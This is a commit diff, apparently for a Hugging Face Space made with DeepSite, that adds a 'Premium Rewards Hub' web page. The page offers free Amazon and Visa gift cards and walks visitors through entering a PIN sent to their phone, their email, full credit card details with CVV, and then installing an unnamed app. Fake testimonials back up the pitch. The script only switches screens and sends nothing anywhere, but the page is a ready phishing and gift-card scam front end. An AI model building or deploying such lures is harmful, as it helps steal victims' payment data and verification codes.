Add 2 files
Browse files- README.md +7 -5
- index.html +506 -19
README.md
CHANGED
@@ -1,10 +1,12 @@
|
|
1 |
---
|
2 |
-
title:
|
3 |
-
emoji:
|
4 |
-
colorFrom:
|
5 |
-
colorTo:
|
6 |
sdk: static
|
7 |
pinned: false
|
|
|
|
|
8 |
---
|
9 |
|
10 |
-
Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
|
|
|
1 |
---
|
2 |
+
title: bina
|
3 |
+
emoji: 🐳
|
4 |
+
colorFrom: green
|
5 |
+
colorTo: pink
|
6 |
sdk: static
|
7 |
pinned: false
|
8 |
+
tags:
|
9 |
+
- deepsite
|
10 |
---
|
11 |
|
12 |
+
Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
|
index.html
CHANGED
@@ -1,19 +1,506 @@
|
|
1 |
-
<!
|
2 |
-
<html>
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
|
19 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<!DOCTYPE html>
|
2 |
+
<html lang="en">
|
3 |
+
<head>
|
4 |
+
<meta charset="UTF-8">
|
5 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
6 |
+
<title>Premium Rewards Hub</title>
|
7 |
+
<script src="https://cdn.tailwindcss.com"></script>
|
8 |
+
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
9 |
+
<style>
|
10 |
+
@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap');
|
11 |
+
|
12 |
+
body {
|
13 |
+
font-family: 'Poppins', sans-serif;
|
14 |
+
background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
|
15 |
+
min-height: 100vh;
|
16 |
+
}
|
17 |
+
|
18 |
+
.card {
|
19 |
+
backdrop-filter: blur(16px) saturate(180%);
|
20 |
+
-webkit-backdrop-filter: blur(16px) saturate(180%);
|
21 |
+
background-color: rgba(255, 255, 255, 0.85);
|
22 |
+
border-radius: 12px;
|
23 |
+
border: 1px solid rgba(209, 213, 219, 0.3);
|
24 |
+
box-shadow: 0 20px 30px -15px rgba(0, 0, 0, 0.1);
|
25 |
+
transition: all 0.3s ease;
|
26 |
+
}
|
27 |
+
|
28 |
+
.card:hover {
|
29 |
+
transform: translateY(-5px);
|
30 |
+
box-shadow: 0 25px 40px -15px rgba(0, 0, 0, 0.15);
|
31 |
+
}
|
32 |
+
|
33 |
+
.progress-step {
|
34 |
+
width: 40px;
|
35 |
+
height: 40px;
|
36 |
+
display: flex;
|
37 |
+
align-items: center;
|
38 |
+
justify-content: center;
|
39 |
+
border-radius: 50%;
|
40 |
+
background: #e0e0e0;
|
41 |
+
color: #666;
|
42 |
+
font-weight: 600;
|
43 |
+
position: relative;
|
44 |
+
}
|
45 |
+
|
46 |
+
.progress-step.active {
|
47 |
+
background: #4f46e5;
|
48 |
+
color: white;
|
49 |
+
}
|
50 |
+
|
51 |
+
.progress-step.completed {
|
52 |
+
background: #10b981;
|
53 |
+
color: white;
|
54 |
+
}
|
55 |
+
|
56 |
+
.progress-step:not(:last-child):after {
|
57 |
+
content: '';
|
58 |
+
position: absolute;
|
59 |
+
width: 60px;
|
60 |
+
height: 2px;
|
61 |
+
background: #e0e0e0;
|
62 |
+
left: 100%;
|
63 |
+
}
|
64 |
+
|
65 |
+
.progress-step.active:not(:last-child):after {
|
66 |
+
background: #4f46e5;
|
67 |
+
}
|
68 |
+
|
69 |
+
.progress-step.completed:not(:last-child):after {
|
70 |
+
background: #10b981;
|
71 |
+
}
|
72 |
+
|
73 |
+
.offer-card {
|
74 |
+
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
75 |
+
color: white;
|
76 |
+
border-radius: 12px;
|
77 |
+
overflow: hidden;
|
78 |
+
}
|
79 |
+
|
80 |
+
.input-field {
|
81 |
+
transition: all 0.3s ease;
|
82 |
+
border: 1px solid #e2e8f0;
|
83 |
+
}
|
84 |
+
|
85 |
+
.input-field:focus {
|
86 |
+
border-color: #4f46e5;
|
87 |
+
box-shadow: 0 0 0 3px rgba(79, 70, 229, 0.2);
|
88 |
+
}
|
89 |
+
|
90 |
+
.btn-primary {
|
91 |
+
background: linear-gradient(to right, #4f46e5, #7c3aed);
|
92 |
+
transition: all 0.3s ease;
|
93 |
+
}
|
94 |
+
|
95 |
+
.btn-primary:hover {
|
96 |
+
transform: translateY(-2px);
|
97 |
+
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
|
98 |
+
}
|
99 |
+
|
100 |
+
.btn-secondary {
|
101 |
+
background: linear-gradient(to right, #10b981, #34d399);
|
102 |
+
transition: all 0.3s ease;
|
103 |
+
}
|
104 |
+
|
105 |
+
.btn-secondary:hover {
|
106 |
+
transform: translateY(-2px);
|
107 |
+
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
|
108 |
+
}
|
109 |
+
|
110 |
+
@media (max-width: 768px) {
|
111 |
+
.progress-step:not(:last-child):after {
|
112 |
+
width: 30px;
|
113 |
+
}
|
114 |
+
}
|
115 |
+
</style>
|
116 |
+
</head>
|
117 |
+
<body class="py-8 px-4">
|
118 |
+
<div class="max-w-4xl mx-auto">
|
119 |
+
<!-- Header -->
|
120 |
+
<header class="text-center mb-8">
|
121 |
+
<h1 class="text-3xl md:text-4xl font-bold text-gray-800 mb-2">Premium Rewards Hub</h1>
|
122 |
+
<p class="text-gray-600">Complete simple offers to unlock exclusive rewards</p>
|
123 |
+
</header>
|
124 |
+
|
125 |
+
<!-- Progress Steps -->
|
126 |
+
<div class="flex justify-center mb-10">
|
127 |
+
<div class="flex items-center">
|
128 |
+
<div id="step1" class="progress-step active">
|
129 |
+
<span>1</span>
|
130 |
+
</div>
|
131 |
+
<div id="step2" class="progress-step">
|
132 |
+
<span>2</span>
|
133 |
+
</div>
|
134 |
+
<div id="step3" class="progress-step">
|
135 |
+
<span>3</span>
|
136 |
+
</div>
|
137 |
+
<div id="step4" class="progress-step">
|
138 |
+
<span>4</span>
|
139 |
+
</div>
|
140 |
+
</div>
|
141 |
+
</div>
|
142 |
+
|
143 |
+
<!-- Main Content -->
|
144 |
+
<div class="card p-6 mb-8">
|
145 |
+
<!-- Step 1: Offer Selection -->
|
146 |
+
<div id="offerSelection" class="step-content">
|
147 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-6">Select Your Reward</h2>
|
148 |
+
|
149 |
+
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
|
150 |
+
<div class="offer-card p-6 cursor-pointer" onclick="selectOffer('amazon')">
|
151 |
+
<div class="flex items-center mb-4">
|
152 |
+
<div class="bg-white p-2 rounded-lg mr-4">
|
153 |
+
<img src="https://logo.clearbit.com/amazon.com" alt="Amazon" class="h-10">
|
154 |
+
</div>
|
155 |
+
<div>
|
156 |
+
<h3 class="font-bold text-lg">Amazon Gift Card</h3>
|
157 |
+
<p class="text-sm opacity-80">$50 Value</p>
|
158 |
+
</div>
|
159 |
+
</div>
|
160 |
+
<div class="flex justify-between items-center">
|
161 |
+
<span class="text-sm">Complete 1 offer</span>
|
162 |
+
<span class="bg-white text-indigo-600 px-3 py-1 rounded-full text-xs font-bold">Popular</span>
|
163 |
+
</div>
|
164 |
+
</div>
|
165 |
+
|
166 |
+
<div class="offer-card p-6 cursor-pointer" onclick="selectOffer('visa')" style="background: linear-gradient(135deg, #00c6ff 0%, #0072ff 100%);">
|
167 |
+
<div class="flex items-center mb-4">
|
168 |
+
<div class="bg-white p-2 rounded-lg mr-4">
|
169 |
+
<img src="https://logo.clearbit.com/visa.com" alt="Visa" class="h-10">
|
170 |
+
</div>
|
171 |
+
<div>
|
172 |
+
<h3 class="font-bold text-lg">Visa Gift Card</h3>
|
173 |
+
<p class="text-sm opacity-80">$25 Value</p>
|
174 |
+
</div>
|
175 |
+
</div>
|
176 |
+
<div class="flex justify-between items-center">
|
177 |
+
<span class="text-sm">Complete 1 offer</span>
|
178 |
+
<span class="bg-white text-blue-600 px-3 py-1 rounded-full text-xs font-bold">Limited</span>
|
179 |
+
</div>
|
180 |
+
</div>
|
181 |
+
</div>
|
182 |
+
|
183 |
+
<div class="mt-8 text-center">
|
184 |
+
<button onclick="nextStep()" class="btn-primary text-white px-6 py-3 rounded-lg font-medium">
|
185 |
+
Continue <i class="fas fa-arrow-right ml-2"></i>
|
186 |
+
</button>
|
187 |
+
</div>
|
188 |
+
</div>
|
189 |
+
|
190 |
+
<!-- Step 2: PIN Verification -->
|
191 |
+
<div id="pinVerification" class="step-content hidden">
|
192 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-6">Verify Your Account</h2>
|
193 |
+
<p class="text-gray-600 mb-6">Enter the 4-digit PIN sent to your mobile number to verify your account.</p>
|
194 |
+
|
195 |
+
<div class="max-w-md mx-auto">
|
196 |
+
<div class="mb-6">
|
197 |
+
<label class="block text-gray-700 mb-2">4-Digit PIN</label>
|
198 |
+
<div class="flex space-x-4">
|
199 |
+
<input type="text" maxlength="1" class="input-field w-16 h-16 text-center text-2xl rounded-lg border focus:outline-none" oninput="moveToNext(this, 'pin2')">
|
200 |
+
<input type="text" maxlength="1" id="pin2" class="input-field w-16 h-16 text-center text-2xl rounded-lg border focus:outline-none" oninput="moveToNext(this, 'pin3')">
|
201 |
+
<input type="text" maxlength="1" id="pin3" class="input-field w-16 h-16 text-center text-2xl rounded-lg border focus:outline-none" oninput="moveToNext(this, 'pin4')">
|
202 |
+
<input type="text" maxlength="1" id="pin4" class="input-field w-16 h-16 text-center text-2xl rounded-lg border focus:outline-none">
|
203 |
+
</div>
|
204 |
+
</div>
|
205 |
+
|
206 |
+
<div class="flex justify-between mt-8">
|
207 |
+
<button onclick="prevStep()" class="text-gray-600 px-4 py-2 rounded-lg font-medium">
|
208 |
+
<i class="fas fa-arrow-left mr-2"></i> Back
|
209 |
+
</button>
|
210 |
+
<button onclick="nextStep()" class="btn-primary text-white px-6 py-3 rounded-lg font-medium">
|
211 |
+
Verify <i class="fas fa-check ml-2"></i>
|
212 |
+
</button>
|
213 |
+
</div>
|
214 |
+
</div>
|
215 |
+
</div>
|
216 |
+
|
217 |
+
<!-- Step 3: Email Submission -->
|
218 |
+
<div id="emailSubmission" class="step-content hidden">
|
219 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-6">Email Verification</h2>
|
220 |
+
<p class="text-gray-600 mb-6">Please enter your email address to receive your reward confirmation.</p>
|
221 |
+
|
222 |
+
<div class="max-w-md mx-auto">
|
223 |
+
<div class="mb-6">
|
224 |
+
<label class="block text-gray-700 mb-2">Email Address</label>
|
225 |
+
<input type="email" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="[email protected]">
|
226 |
+
</div>
|
227 |
+
|
228 |
+
<div class="mb-6">
|
229 |
+
<label class="block text-gray-700 mb-2">Confirm Email Address</label>
|
230 |
+
<input type="email" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="[email protected]">
|
231 |
+
</div>
|
232 |
+
|
233 |
+
<div class="flex justify-between mt-8">
|
234 |
+
<button onclick="prevStep()" class="text-gray-600 px-4 py-2 rounded-lg font-medium">
|
235 |
+
<i class="fas fa-arrow-left mr-2"></i> Back
|
236 |
+
</button>
|
237 |
+
<button onclick="nextStep()" class="btn-primary text-white px-6 py-3 rounded-lg font-medium">
|
238 |
+
Continue <i class="fas fa-arrow-right ml-2"></i>
|
239 |
+
</button>
|
240 |
+
</div>
|
241 |
+
</div>
|
242 |
+
</div>
|
243 |
+
|
244 |
+
<!-- Step 4: Credit Card Submission -->
|
245 |
+
<div id="creditCardSubmission" class="step-content hidden">
|
246 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-6">Payment Verification</h2>
|
247 |
+
<p class="text-gray-600 mb-6">Enter your payment details to complete the offer (no charges will be made).</p>
|
248 |
+
|
249 |
+
<div class="max-w-md mx-auto">
|
250 |
+
<div class="mb-6">
|
251 |
+
<label class="block text-gray-700 mb-2">Card Number</label>
|
252 |
+
<input type="text" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="1234 5678 9012 3456">
|
253 |
+
</div>
|
254 |
+
|
255 |
+
<div class="grid grid-cols-2 gap-4 mb-6">
|
256 |
+
<div>
|
257 |
+
<label class="block text-gray-700 mb-2">Expiry Date</label>
|
258 |
+
<input type="text" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="MM/YY">
|
259 |
+
</div>
|
260 |
+
<div>
|
261 |
+
<label class="block text-gray-700 mb-2">CVV</label>
|
262 |
+
<input type="text" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="123">
|
263 |
+
</div>
|
264 |
+
</div>
|
265 |
+
|
266 |
+
<div class="mb-6">
|
267 |
+
<label class="block text-gray-700 mb-2">Name on Card</label>
|
268 |
+
<input type="text" class="input-field w-full px-4 py-3 rounded-lg border focus:outline-none" placeholder="John Doe">
|
269 |
+
</div>
|
270 |
+
|
271 |
+
<div class="flex justify-between mt-8">
|
272 |
+
<button onclick="prevStep()" class="text-gray-600 px-4 py-2 rounded-lg font-medium">
|
273 |
+
<i class="fas fa-arrow-left mr-2"></i> Back
|
274 |
+
</button>
|
275 |
+
<button onclick="nextStep()" class="btn-primary text-white px-6 py-3 rounded-lg font-medium">
|
276 |
+
Continue <i class="fas fa-arrow-right ml-2"></i>
|
277 |
+
</button>
|
278 |
+
</div>
|
279 |
+
</div>
|
280 |
+
</div>
|
281 |
+
|
282 |
+
<!-- Step 5: Mobile App Install -->
|
283 |
+
<div id="mobileAppInstall" class="step-content hidden">
|
284 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-6">Final Step: Mobile App</h2>
|
285 |
+
<p class="text-gray-600 mb-6">Install our mobile app to complete the offer and receive your reward.</p>
|
286 |
+
|
287 |
+
<div class="max-w-md mx-auto">
|
288 |
+
<div class="bg-gray-100 p-6 rounded-lg mb-6">
|
289 |
+
<div class="flex items-center mb-4">
|
290 |
+
<div class="bg-white p-3 rounded-full mr-4">
|
291 |
+
<i class="fas fa-mobile-alt text-indigo-600 text-2xl"></i>
|
292 |
+
</div>
|
293 |
+
<div>
|
294 |
+
<h3 class="font-bold">Rewards App</h3>
|
295 |
+
<p class="text-sm text-gray-600">Install size: 15MB</p>
|
296 |
+
</div>
|
297 |
+
</div>
|
298 |
+
|
299 |
+
<div class="flex justify-center mb-4">
|
300 |
+
<img src="https://via.placeholder.com/150" alt="QR Code" class="w-32 h-32">
|
301 |
+
</div>
|
302 |
+
|
303 |
+
<p class="text-center text-sm text-gray-600 mb-4">Scan the QR code or click the button below</p>
|
304 |
+
|
305 |
+
<button class="btn-secondary text-white w-full py-3 rounded-lg font-medium">
|
306 |
+
Install App <i class="fas fa-download ml-2"></i>
|
307 |
+
</button>
|
308 |
+
</div>
|
309 |
+
|
310 |
+
<div class="flex justify-between mt-8">
|
311 |
+
<button onclick="prevStep()" class="text-gray-600 px-4 py-2 rounded-lg font-medium">
|
312 |
+
<i class="fas fa-arrow-left mr-2"></i> Back
|
313 |
+
</button>
|
314 |
+
<button onclick="completeOffer()" class="btn-primary text-white px-6 py-3 rounded-lg font-medium">
|
315 |
+
Complete Offer <i class="fas fa-check ml-2"></i>
|
316 |
+
</button>
|
317 |
+
</div>
|
318 |
+
</div>
|
319 |
+
</div>
|
320 |
+
|
321 |
+
<!-- Completion Screen -->
|
322 |
+
<div id="completionScreen" class="step-content hidden text-center py-12">
|
323 |
+
<div class="mb-6">
|
324 |
+
<div class="w-20 h-20 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-4">
|
325 |
+
<i class="fas fa-check-circle text-green-500 text-4xl"></i>
|
326 |
+
</div>
|
327 |
+
<h2 class="text-2xl font-semibold text-gray-800 mb-2">Offer Completed!</h2>
|
328 |
+
<p class="text-gray-600 mb-6">Your reward will be delivered to your email within 24 hours.</p>
|
329 |
+
</div>
|
330 |
+
|
331 |
+
<div class="max-w-md mx-auto bg-indigo-50 p-6 rounded-lg mb-8">
|
332 |
+
<h3 class="font-bold text-indigo-700 mb-2">Your Reward</h3>
|
333 |
+
<p class="text-gray-800 mb-4" id="selectedRewardText">Amazon $50 Gift Card</p>
|
334 |
+
<p class="text-sm text-gray-600">Check your email for the redemption code</p>
|
335 |
+
</div>
|
336 |
+
|
337 |
+
<button onclick="restartFlow()" class="btn-secondary text-white px-6 py-3 rounded-lg font-medium">
|
338 |
+
Claim Another Reward <i class="fas fa-gift ml-2"></i>
|
339 |
+
</button>
|
340 |
+
</div>
|
341 |
+
</div>
|
342 |
+
|
343 |
+
<!-- Testimonials -->
|
344 |
+
<div class="grid grid-cols-1 md:grid-cols-3 gap-6 mb-8">
|
345 |
+
<div class="card p-6">
|
346 |
+
<div class="flex items-center mb-4">
|
347 |
+
<div class="w-10 h-10 rounded-full bg-indigo-100 flex items-center justify-center mr-3">
|
348 |
+
<i class="fas fa-user text-indigo-600"></i>
|
349 |
+
</div>
|
350 |
+
<div>
|
351 |
+
<h4 class="font-semibold">Sarah J.</h4>
|
352 |
+
<div class="flex text-yellow-400 text-sm">
|
353 |
+
<i class="fas fa-star"></i>
|
354 |
+
<i class="fas fa-star"></i>
|
355 |
+
<i class="fas fa-star"></i>
|
356 |
+
<i class="fas fa-star"></i>
|
357 |
+
<i class="fas fa-star"></i>
|
358 |
+
</div>
|
359 |
+
</div>
|
360 |
+
</div>
|
361 |
+
<p class="text-gray-600">"Got my Amazon gift card in just 2 hours after completing the offer. Super easy!"</p>
|
362 |
+
</div>
|
363 |
+
|
364 |
+
<div class="card p-6">
|
365 |
+
<div class="flex items-center mb-4">
|
366 |
+
<div class="w-10 h-10 rounded-full bg-indigo-100 flex items-center justify-center mr-3">
|
367 |
+
<i class="fas fa-user text-indigo-600"></i>
|
368 |
+
</div>
|
369 |
+
<div>
|
370 |
+
<h4 class="font-semibold">Michael T.</h4>
|
371 |
+
<div class="flex text-yellow-400 text-sm">
|
372 |
+
<i class="fas fa-star"></i>
|
373 |
+
<i class="fas fa-star"></i>
|
374 |
+
<i class="fas fa-star"></i>
|
375 |
+
<i class="fas fa-star"></i>
|
376 |
+
<i class="fas fa-star"></i>
|
377 |
+
</div>
|
378 |
+
</div>
|
379 |
+
</div>
|
380 |
+
<p class="text-gray-600">"The app install was quick and I received my Visa card code the next day."</p>
|
381 |
+
</div>
|
382 |
+
|
383 |
+
<div class="card p-6">
|
384 |
+
<div class="flex items-center mb-4">
|
385 |
+
<div class="w-10 h-10 rounded-full bg-indigo-100 flex items-center justify-center mr-3">
|
386 |
+
<i class="fas fa-user text-indigo-600"></i>
|
387 |
+
</div>
|
388 |
+
<div>
|
389 |
+
<h4 class="font-semibold">Emma L.</h4>
|
390 |
+
<div class="flex text-yellow-400 text-sm">
|
391 |
+
<i class="fas fa-star"></i>
|
392 |
+
<i class="fas fa-star"></i>
|
393 |
+
<i class="fas fa-star"></i>
|
394 |
+
<i class="fas fa-star"></i>
|
395 |
+
<i class="fas fa-star-half-alt"></i>
|
396 |
+
</div>
|
397 |
+
</div>
|
398 |
+
</div>
|
399 |
+
<p class="text-gray-600">"Simple process and legit rewards. Will definitely use again for more gift cards."</p>
|
400 |
+
</div>
|
401 |
+
</div>
|
402 |
+
|
403 |
+
<!-- Footer -->
|
404 |
+
<footer class="text-center text-gray-600 text-sm">
|
405 |
+
<div class="mb-4">
|
406 |
+
<a href="#" class="mx-2 hover:text-indigo-600">Terms of Service</a>
|
407 |
+
<a href="#" class="mx-2 hover:text-indigo-600">Privacy Policy</a>
|
408 |
+
<a href="#" class="mx-2 hover:text-indigo-600">Contact Us</a>
|
409 |
+
</div>
|
410 |
+
<p>© 2023 Premium Rewards Hub. All rights reserved.</p>
|
411 |
+
</footer>
|
412 |
+
</div>
|
413 |
+
|
414 |
+
<script>
|
415 |
+
let currentStep = 1;
|
416 |
+
let selectedOffer = null;
|
417 |
+
|
418 |
+
function selectOffer(offer) {
|
419 |
+
selectedOffer = offer;
|
420 |
+
document.querySelectorAll('.offer-card').forEach(card => {
|
421 |
+
card.style.transform = 'scale(1)';
|
422 |
+
card.style.border = 'none';
|
423 |
+
});
|
424 |
+
|
425 |
+
event.currentTarget.style.transform = 'scale(1.02)';
|
426 |
+
event.currentTarget.style.border = '2px solid #4f46e5';
|
427 |
+
}
|
428 |
+
|
429 |
+
function nextStep() {
|
430 |
+
if (currentStep === 1 && !selectedOffer) {
|
431 |
+
alert('Please select an offer first');
|
432 |
+
return;
|
433 |
+
}
|
434 |
+
|
435 |
+
document.getElementById(`step${currentStep}`).classList.remove('active');
|
436 |
+
document.getElementById(`step${currentStep}`).classList.add('completed');
|
437 |
+
|
438 |
+
document.querySelector(`.step-content:nth-child(${currentStep + 1})`).classList.add('hidden');
|
439 |
+
|
440 |
+
currentStep++;
|
441 |
+
|
442 |
+
if (currentStep > 4) {
|
443 |
+
document.getElementById('completionScreen').classList.remove('hidden');
|
444 |
+
document.getElementById('selectedRewardText').textContent =
|
445 |
+
selectedOffer === 'amazon' ? 'Amazon $50 Gift Card' : 'Visa $25 Gift Card';
|
446 |
+
} else {
|
447 |
+
document.getElementById(`step${currentStep}`).classList.add('active');
|
448 |
+
document.querySelector(`.step-content:nth-child(${currentStep + 1})`).classList.remove('hidden');
|
449 |
+
}
|
450 |
+
}
|
451 |
+
|
452 |
+
function prevStep() {
|
453 |
+
document.getElementById(`step${currentStep}`).classList.remove('active');
|
454 |
+
document.querySelector(`.step-content:nth-child(${currentStep + 1})`).classList.add('hidden');
|
455 |
+
|
456 |
+
currentStep--;
|
457 |
+
|
458 |
+
document.getElementById(`step${currentStep + 1}`).classList.remove('completed');
|
459 |
+
document.getElementById(`step${currentStep}`).classList.add('active');
|
460 |
+
document.querySelector(`.step-content:nth-child(${currentStep + 1})`).classList.remove('hidden');
|
461 |
+
}
|
462 |
+
|
463 |
+
function completeOffer() {
|
464 |
+
document.getElementById(`step${currentStep}`).classList.remove('active');
|
465 |
+
document.getElementById(`step${currentStep}`).classList.add('completed');
|
466 |
+
document.querySelector(`.step-content:nth-child(${currentStep + 1})`).classList.add('hidden');
|
467 |
+
|
468 |
+
document.getElementById('completionScreen').classList.remove('hidden');
|
469 |
+
document.getElementById('selectedRewardText').textContent =
|
470 |
+
selectedOffer === 'amazon' ? 'Amazon $50 Gift Card' : 'Visa $25 Gift Card';
|
471 |
+
}
|
472 |
+
|
473 |
+
function restartFlow() {
|
474 |
+
currentStep = 1;
|
475 |
+
selectedOffer = null;
|
476 |
+
|
477 |
+
// Reset all steps
|
478 |
+
for (let i = 1; i <= 4; i++) {
|
479 |
+
document.getElementById(`step${i}`).classList.remove('active', 'completed');
|
480 |
+
document.querySelector(`.step-content:nth-child(${i + 1})`).classList.add('hidden');
|
481 |
+
}
|
482 |
+
|
483 |
+
document.getElementById('step1').classList.add('active');
|
484 |
+
document.querySelector('.step-content:nth-child(2)').classList.remove('hidden');
|
485 |
+
document.getElementById('completionScreen').classList.add('hidden');
|
486 |
+
|
487 |
+
// Reset offer selection
|
488 |
+
document.querySelectorAll('.offer-card').forEach(card => {
|
489 |
+
card.style.transform = 'scale(1)';
|
490 |
+
card.style.border = 'none';
|
491 |
+
});
|
492 |
+
}
|
493 |
+
|
494 |
+
function moveToNext(current, nextFieldId) {
|
495 |
+
if (current.value.length === 1) {
|
496 |
+
document.getElementById(nextFieldId).focus();
|
497 |
+
}
|
498 |
+
}
|
499 |
+
|
500 |
+
// Initialize the first step as active
|
501 |
+
document.addEventListener('DOMContentLoaded', function() {
|
502 |
+
document.getElementById('step1').classList.add('active');
|
503 |
+
});
|
504 |
+
</script>
|
505 |
+
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - <a href="https://enzostvs-deepsite.hf.space?remix=Binajex/bina" style="color: #fff;text-decoration: underline;" target="_blank" >🧬 Remix</a></p></body>
|
506 |
+
</html>
|